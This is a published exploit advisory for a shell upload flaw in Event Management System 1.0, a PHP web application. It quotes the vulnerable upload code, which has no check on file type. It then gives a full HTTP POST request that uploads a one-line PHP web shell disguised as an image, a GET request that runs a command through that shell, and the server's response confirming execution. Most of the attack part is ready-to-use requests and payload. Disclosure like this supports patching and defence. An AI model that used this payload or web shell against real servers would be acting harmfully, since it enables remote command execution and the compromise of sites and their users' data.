Event Management System 1.0 Shell Upload

Event Management System version 1.0 suffers from a remote shell upload vulnerability.


MD5 | 11d07a26897f7bc6e067e726567706bc

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# Title: Event Management System  1.0  Shell Upload
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw


#vulnerability Code  php
Needs more filtering to upload profile files

php```
 if(isset($_POST['submit']))
{
  $adminid=$_SESSION['odmsaid'];
  $productname=$_POST['productName'];
  $productimage1=$_FILES["productimage1"]["name"];
  move_uploaded_file($_FILES["productimage1"]["tmp_name"],"assets/img/profileimages/".$_FILES["productimage1"]["name"]);
  $sql="update  tbladmin set Photo=:productimage1 where ID=:aid";
  $query = $dbh->prepare($sql);
  $query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);
  $query->bindParam(':aid',$pid,PDO::PARAM_STR);
  $query->execute();
  $_SESSION['msg']="profile Image Updated Successfully !!";
  }
  ?>
```


[+] Payload POST


```
POST /scbs/?p=manage_account HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/scbs/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

<?=`$_GET[515]`?>

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="submit"
-----------------------------409902128312379197203124536738--
```


#Status: CRITICAL

[+] Payload GET

```
GET /Royal%20Event/royal_event/assets/img/profileimages/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1

Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41
Upgrade-Insecure-Requests: 1




```

#Response 
```
HTTP/1.1 200 OK
Date: Thu, 24 Mar 2022 11:15:56 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8

Hejap Zairy
```


# Description:
The file upload  bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.


# Proof and Exploit:
https://i.imgur.com/Q85LFQy.png
https://i.imgur.com/w7B8uAf.png


Source: packetstormsecurity.com
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